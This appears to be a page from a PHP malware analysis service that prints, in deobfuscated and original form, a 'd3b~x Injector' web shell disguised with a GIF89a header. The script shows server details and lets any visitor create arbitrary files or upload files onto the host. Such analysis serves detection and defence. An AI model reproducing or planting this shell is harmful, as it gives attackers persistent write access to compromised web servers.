PHP Malware Analysis

Back to list

Tags

URLs
http://st3cycling.com/.txt
Title
---===[d3b~X]===---
Input
_POST
Environment
error_reporting
php_uname

Deobfuscated code

GIF89a?????????????????????!??????????????,?????????????????????D???;????
<?php 
print "<pre />\r\n############################################\r\n##         d3b~x Injector         ##\r\n############################################\r\n";
//http://st3cycling.com/.txt
error_reporting(0);
$content = stripslashes($_POST['content']);
$cfile = $_POST['cfile'];
$ufile = $_POST['ufile'];
echo "<BLINK><title>---===[d3b~X]===---</title></BLINK>";
echo '<b><br>' . php_uname() . '<br></b>';
echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"aw\" id=\"aw\">";
echo '<textarea name=content style="width:625px;height:300px;background:#000; font-size: 15px bolder; 
color: #00ff00; font-family: "Courier New" >' . $content . '</textarea><br>';
echo "<input type=\"text\" name=\"cfile\" size=\"10\" value=\"newfile.php\" style=\"background:#000; font-size: 15px; \r\ncolor: #00ff00; font-family: \"Courier New\";\">";
echo "<input name=\"_create\" type=\"submit\" id=\"_upl\" value=\"Create\" style=\"background:#000; font-size: 15px; \r\ncolor: #00ff00; font-family: \"Courier New\";\" >";
echo "<input type=\"file\" name=\"file\" size=\"30\"><input type=\"text\" style=\"background:#000; font-size: 15px; \r\ncolor: #00ff00; font-family: \"Courier New\";\" name=\"ufile\" size=\"10\" value=\"newfile.php\">";
echo "<input name=\"_upload\" type=\"submit\" id=\"_upl\" value=\"Upload\" style=\"background:#000; font-size: 15px; \r\ncolor: #00ff00; font-family: \"Courier New\";\"></form>";
if ($_POST['_create']) {
    $handle = fopen($cfile, 'w');
    if ($handle) {
        if (fwrite($handle, $content) === FALSE) {
            echo "<b>Membuat {$cfile} GAGAL</b><br>";
        } else {
            echo "<b>Membuat {$cfile} SUKSES !!!</b><br>";
        }
        fclose($handle);
    } else {
        echo "<b>Membuat File GAGAL</b><br><br>";
    }
}
if ($_POST['_upload']) {
    if (@copy($_FILES['file']['tmp_name'], $ufile)) {
        echo "<b>Upload {$ufile} SUKSES !!!</b><br><br></font>";
    } else {
        echo "<b>Upload {$ufile} GAGAL !!!</b><br><br>";
    }
}

Original code

GIF89a?????????????????????!??????????????,?????????????????????D???;????
<?php
print('<pre />
############################################
##         d3b~x Injector         ##
############################################
');
//http://st3cycling.com/.txt


error_reporting(0);
$content = stripslashes($_POST['content']); $cfile = $_POST['cfile']; $ufile = $_POST['ufile'];
echo '<BLINK><title>---===[d3b~X]===---</title></BLINK>'; 
echo '<b><br>'.php_uname().'<br></b>'; 
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">'; 
echo '<textarea name=content style="width:625px;height:300px;background:#000; font-size: 15px bolder; 
color: #00ff00; font-family: "Courier New" >'.$content.'</textarea><br>'; 
echo '<input type="text" name="cfile" size="10" value="newfile.php" style="background:#000; font-size: 15px; 
color: #00ff00; font-family: "Courier New";">'; 
echo '<input name="_create" type="submit" id="_upl" value="Create" style="background:#000; font-size: 15px; 
color: #00ff00; font-family: "Courier New";" >'; 
echo '<input type="file" name="file" size="30"><input type="text" style="background:#000; font-size: 15px; 
color: #00ff00; font-family: "Courier New";" name="ufile" size="10" value="newfile.php">'; 
echo '<input name="_upload" type="submit" id="_upl" value="Upload" style="background:#000; font-size: 15px; 
color: #00ff00; font-family: "Courier New";"></form>'; 
 if($_POST['_create']){ 
  $handle = fopen($cfile, 'w'); 
  if($handle){ 
      if (fwrite($handle, $content) === FALSE) { echo "<b>Membuat $cfile GAGAL</b><br>"; } 
      else { echo "<b>Membuat $cfile SUKSES !!!</b><br>"; } fclose($handle); 
  } else { echo '<b>Membuat File GAGAL</b><br><br>'; } 
  } 
  if($_POST['_upload']){ 
  if(@copy($_FILES['file']['tmp_name'], $ufile)) { echo "<b>Upload $ufile SUKSES !!!</b><br><br></font>"; } 
  else { echo "<b>Upload $ufile GAGAL !!!</b><br><br>"; } 
  } 
 ?>